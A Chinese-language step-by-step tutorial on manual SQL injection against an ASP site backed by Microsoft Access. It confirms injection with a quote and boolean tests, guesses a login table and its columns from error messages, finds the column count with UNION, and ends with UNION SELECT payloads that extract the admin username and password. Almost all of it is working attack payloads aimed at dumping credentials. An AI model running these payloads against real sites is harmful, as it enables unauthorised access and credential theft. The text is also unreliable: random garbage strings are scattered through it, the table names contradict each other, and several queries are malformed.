拿到一网站
首先,判断是否存在注入,http://www.XXX.com/detail.asp?
id=430',加单引号,判断是什么数据库 l U]nd[x
http://www.XXX.com/detail.asp?id=430 and 1=1
http://www.XXX.com/detail.asp?id=430 and 1=2 返回错误
这3点证明的确存在注入漏洞
现在判断是数据库里的表名
判断有不有admin表
http://www.XXX.com/detail.asp?id=430 and (select count(*) from admin
返回正常说明存在_web_login表
现在猜测字段
判断_web_login中是否有username这个字段
http://www.XXX.com/detail.asp?id=430 and (select username from web_login
返回错误说明_web_long表中没有username这个字段
判断_web_login中是否有id这个字段
http://www.XXX.com/detail.asp?id=430 and (select id from web_login
返回[Microsoft][ODBC Microsoft Access Driver] 子查询最多能返回一个记录 说明存在而且不只一个,因为用
户有多个 }
判断是否有userid这个字段
http://www.XXX.com/detail.asp?id=430 and (select userid from _web_login where id=1)
返回正常说明有userid字段
判断是否有passwd这个字段
http://www.XXX.com/detail.asp?id=430 and (select passwd from _web_login where id=1
返回正常说明存在passwd字段
现在表和字段都猜出来了
表:_web_login 字段:id,userid,passwd
现在要猜字段里的内容,有多种方法,今天用一种简单的,不用一个一个的猜,用联合查询 dqAw5[qMJ
我先猜了一下,一共有24个字段 -{A<.a3P}=
我们先猜第一个语句查询的是22个字段 . ]M"# \
http://www.XXX.com/detail.asp?id=430 union (select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
返回[Microsoft][ODBC Microsoft Access Driver] 在联合查询中所选定的两个数据表或查询中的列数不匹配
说明字段不和
我选猜24个
http://www.XXX.com/detail.asp?id=430 union (select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
返回正确,并表明要在网站显示的字段内容,是第4和第8,如果把4换成userid,那么4的位置将显示userid的内容
http://www.XXX.com/detail.asp?id=430 union (select 1,2,3,userid,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)
返回4的位置为admin,说明第一个用户是admin,现在我们来暴出密码,把第8换成 qY#6SO`_iy
passwd,将在第8的位置显示passwd的内容
http://www.XXX.com/detail.asp?id=430 union (select 1,2,3,userid,5,6,7,passwd,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from _web_login)